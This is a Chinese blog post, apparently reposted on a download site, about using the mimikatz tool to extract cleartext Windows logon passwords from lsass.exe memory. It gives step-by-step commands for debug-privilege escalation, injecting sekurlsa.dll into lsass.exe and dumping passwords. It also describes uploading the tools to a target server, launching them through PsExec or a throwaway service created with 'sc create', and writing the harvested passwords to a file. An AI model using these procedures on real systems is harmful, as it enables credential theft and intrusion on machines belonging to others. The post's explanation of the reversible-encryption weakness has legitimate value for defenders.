昨天有朋友发了个法国佬写的神器叫 mimikatz 让我们看下 神器下载地址: mimikatz_trunk.zip 还有一篇用这个神器直接从 lsass.exe 里获取windows处于active状态账号明文密码的文章 http://pentestmonkey.net/blog/mimikatz-tool-to-recover-cleartext-passwords-from-lsass 自己尝试了下用 win2008 r2 x64 来测试 轻量级调试器神器 - mimikatz 最后测试成功 wdigest 就是我的明文密码 我还测过密码复杂度在14位以上 包含数字 大小写字母 特殊字符的密码 一样能抓出明文密码来 以前用 wce.exe 或 lslsass.exe 通常是只能从内存里顶多抓出active账号的 lm hash 和 ntlm hash 但用了这个神器抓出明文密码后 由此我们可以反推断 在 lsass.exe 里并不是只存有 lm hash 和 ntlm hash 而已 应该还存在有你的明文密码经过某种加密算法 (注意: 是加密算法 而不是hash算法 加密算法是可逆的 hash算法是不可逆的) 这样这个加密算法是可逆的 能被解密出明文 所以进程注入 lsass.exe 时 所调用的 sekurlsa.dll 应该包含了对应的解密算法 逆向功底比较好的童鞋可以尝试去逆向分析一下 然后这个神器的功能肯定不仅仅如此 在我看来它更像一个轻量级调试器 可以提升进程权限 注入进程 读取进程内存等等 下面展示一个 读取扫雷游戏的内存的例子 轻量级调试器神器 - mimikatz 我们还可以通过pause命令来挂起该进程 这个时候游戏的时间就静止了 轻量级调试器神器 - mimikatz 总之这个神器相当华丽 还有更多能力有待各黑阔们挖掘 =..=~ —————————– 站长评论: 抓取 lsass.exe 中的用户明文密码: //提升权限 privilege::debug //注入dll inject::process lsass.exe sekurlsa.dll //抓取密码 @getLogonPasswords 经测试,通杀: Windows Server 2003 Windows Server 2008 Windows Vista Windows 7 Windows 7 SP1 貌似只有 Windows 2000 与 Windows XP 无法使用。 不过,2000/xp 可以用以前的 FindPassword ,Windows 2003 – Windows 7 微软的这个处理机制没有变。 域也可以,理论上是没问题的,登录过都在 lsass.exe 里面。 原理就是登陆的时候输入的密码,经过 lsass.exe 里的 wdigest 和 tspkg 两个模块调用后,它们对之进行加密处理,而没有进行擦除,而且该加密通过特征可以定位,并且按照微软的算法可逆。 只要登陆过,就可以抓出来,它进行枚举的,这一切都是微软的错。 简单地说,在 Windows 中,当用户登录时,lsass.exe 使用一个可逆的算法,加密过的明文密码,并且把密文保存在内存中,没有清理,然后可以抓出来,还原。 也就是说,开机以后,只要是登陆过的用户,在没重启前(因为重启内存就清零了,这里不包括使用其他方法清理内存),都可以抓出来,注销也是无用的,因为内存中的密码并没有清除,所以还是可以抓出来的。 我想微软可能会出个补丁,清理这块…… 这玩意儿功能还有很多,自己看看参数,例如:ts,是调用 mimikatz.sys 隐藏登陆的终端。 这应该算是密码泄露,很严重的漏洞,估计微软会出补丁。 —————————– 在远程终端(3389、mstsc.exe)、虚拟桌面中抓取密码的方法: 通常你在远程终端中运行该程序会提示:存储空间不足,无法处理此命令。 这是因为在终端模式下,不能插入远线程,跨会话不能注入,你需要使用如下方法执行该程序: 首先提取几个文件,只抓取密码的话,只需要这几个文件: mimikatz_trunk\tools\PsExec.exe mimikatz_trunk\Win32\mimikatz.exe mimikatz_trunk\Win32\sekurlsa.dll 打包后上传至目标服务器,然后解压释放,注意路径中绝对不能有中文(可以有空格)!否则加载DLL的时候会报错:找不到文件。 然后使用以下任何一种方法即可抓取密码: //最简单实用的方法,使用 PsExec.exe 启动。 //在本机启动交互式命令提示窗口 psexec \\127.0.0.1 cmd.exe //启动 mimikatz.exe C:\mimikatz_trunk\Win32\mimikatz.exe //提升权限 privilege::debug //注入dll,要用绝对路径!并且路径中绝对不能有中文(可以有空格)! inject::process lsass.exe "C:\mimikatz_trunk\Win32\sekurlsa.dll" //抓取密码 @getLogonPasswords //退出,不要用 ctrl + c,会导致 mimikatz.exe CPU 占用达到 100%,死循环。 exit //********************************************************* //使用 At 启动 at *** //********************************************************* //创建服务方法 sc create getpassword binpath= "cmd.exe /c c:\xxx\mimikatz.exe < command.txt > password.txt" sc start getpassword sc delete getpassword //********************************************************* //telnet 远程命令管道 telnet **** —————————– 部分内容转自:http://hi.baidu.com/hackercasper/blog/item/b080dbd05eb6a5cc562c8461.html
- 1
- shyrgst2014-01-15在几台WIN7 上实验过,大部分可行,但有时有错误报告, XP 没有试过,还需要进一步的研究一下。不过,总体蛮好用的。给了一个新思路。
- 粉丝: 8
- 资源: 19
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助